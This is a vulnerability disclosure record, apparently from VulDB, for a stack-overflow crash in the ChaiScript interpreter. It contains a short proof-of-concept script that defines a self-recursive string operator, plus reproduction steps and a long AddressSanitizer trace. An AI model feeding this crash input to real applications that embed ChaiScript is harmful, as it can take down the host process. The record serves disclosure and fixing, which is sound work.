Submit #761303: ChaiScript develop branch Uncontrolled Recursioninfo

TitleChaiScript develop branch Uncontrolled Recursion
Description### Description We discovered a Stack Overflow vulnerability in ChaiScript. The crash is triggered by a user-defined operator that calls itself recursively within a string interpolation block. The engine fails to detect the infinite recursion, leading to stack exhaustion and a hard crash (SEGV). The ASAN report confirms a stack-overflow occurring during the evaluation of the recursive AST nodes. ### Environment - OS: Linux x86_64 - Complier: Clang - Build Configuration: Release mode with ASan enabled. ### Vulnerability Details - Target: ChaiScript - Vulnerability Type: CWE-674: Uncontrolled Recursion (Stack Overflow) - Function: chaiscript::eval::AST_Node_Impl::eval / chaiscript::eval::Function_Push_Pop - Location: include/chaiscript/language/chaiscript_eval.hpp (Deep recursion in evaluation loop) - Root Cause Analysis: The PoC defines a recursive operator: ``` def string::`/=`(double d) { // ${this/= 2} triggers the operator `/=` recursively on 'this' this = "${this/= 2}/=${d}"; return this; } ``` When s /= 2 is executed, it calls the custom operator. The string interpolation ${this/= 2} inside the function body immediately invokes the same operator again. This creates an infinite chain of eval_function -> AST_Node::eval calls. ChaiScript does not appear to have a sufficient guard against stack exhaustion for this specific recursion pattern, causing the host process to abort. ### Reproduce 1. Build ChaiScript with Release optimization and ASAN enabled. 2. Run with the crashing file: <details> <summary>poc</summary> ``` def string::`/=`(double d) { this = "${this/= 2 }/=${d}"; return this; } var s = "o World" s /= 2 ``` </details> ``` ./chai crash.chai ``` <details> <summary>ASAN report</summary> ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==29916==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc9c1f4858 (pc 0x55842cb787f9 bp 0x7ffc9c1f5090 sp 0x7ffc9c1f4860 T0) #0 0x55842cb787f9 in __asan_memset (/src/ChaiScript/build_afl/chai+0x2377f9) (BuildId: 8364a862145966bbe9fb7af8769bd28a4608a787) #1 0x55842d10ad17 in std::_Vector_base<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>>::_Vector_impl_data::_M_copy_data(std::_Vector_base<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>>::_Vector_impl_data const&) /usr/lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:116:14 #2 0x55842d10ad17 in std::_Vector_base<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>>::_Vector_impl_data::_M_swap_data(std::_Vector_base<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>>::_Vector_impl_data&) /usr/lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:129:8 #3 0x55842d10ad17 in std::vector<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>>::swap(std::vector<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>>&) /usr/lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:1592:16 #4 0x55842d10ad17 in void std::swap<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>>(std::vector<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>>&, std::vector<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>>&) /usr/lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:2114:11 #5 0x55842d10ad17 in chaiscript::Type_Conversions::take_saves(chaiscript::Type_Conversions::Conversion_Saves&) /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/type_conversions.hpp:362:7 #6 0x55842d10ad17 in chaiscript::detail::Dispatch_Engine::new_function_call(chaiscript::detail::Stack_Holder&, chaiscript::Type_Conversions::Conversion_Saves&) /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/dispatchkit.hpp:1000:44 #7 0x55842d228587 in chaiscript::eval::detail::Function_Push_Pop::Function_Push_Pop(chaiscript::detail::Dispatch_State const&) /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_common.hpp:669:17 #8 0x55842d228587 in chaiscript::eval::Equation_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:418:53 #9 0x55842d0db1e8 in chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:141:18 #10 0x55842d22f774 in chaiscript::eval::File_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:1126:43 #11 0x55842d0db1e8 in chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:141:18 #12 0x55842d11b785 in chaiscript::Boxed_Value chaiscript::eval::Fun_Call_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::do_eval_internal<true>(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:308:35 #13 0x55842d11b089 in chaiscript::eval::Fun_Call_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:343:105 #14 0x55842d0db1e8 in chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:141:18 #15 0x55842d144c7e in chaiscript::eval::Binary_Operator_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:222:39 #16 0x55842d0db1e8 in chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:141:18 #17 0x5 ... #285 0x55842d2285f6 in chaiscript::eval::Equation_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:420:23 #286 0x55842d0db1e8 in chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:141:18 #287 0x55842d130335 in chaiscript::eval::Scopeless_Block_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:686:30 #288 0x55842d0db1e8 in chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:141:18 #289 0x55842d182a68 in chaiscript::Boxed_Value chaiscript::eval::detail::eval_function<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>(chaiscript::detail::Dispatch_Engine&, chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>> const&, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>> const&, chaiscript::Function_Params const&, std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, chaiscript::Boxed_Value, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const, chaiscript::Boxed_Value>>> const*, bool) /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:88:25 SUMMARY: AddressSanitizer: stack-overflow (/src/ChaiScript/build_afl/chai+0x2377f9) (BuildId: 8364a862145966bbe9fb7af8769bd28a4608a787) in __asan_memset ==29916==ABORTING ``` </details>
Source⚠️ https://github.com/ChaiScript/ChaiScript/issues/633
User Oneafter (UID 92781)
Submission02/18/2026 14:38 (2 months ago)
Moderation02/28/2026 15:23 (10 days later)
StatusAccepted
VulDB entry348270 [ChaiScript up to 6.1.0 chaiscript_eval.hpp Function_Push_Pop recursion]
Points20

Do you want to use VulDB in your project?

Use the official API to access entries easily!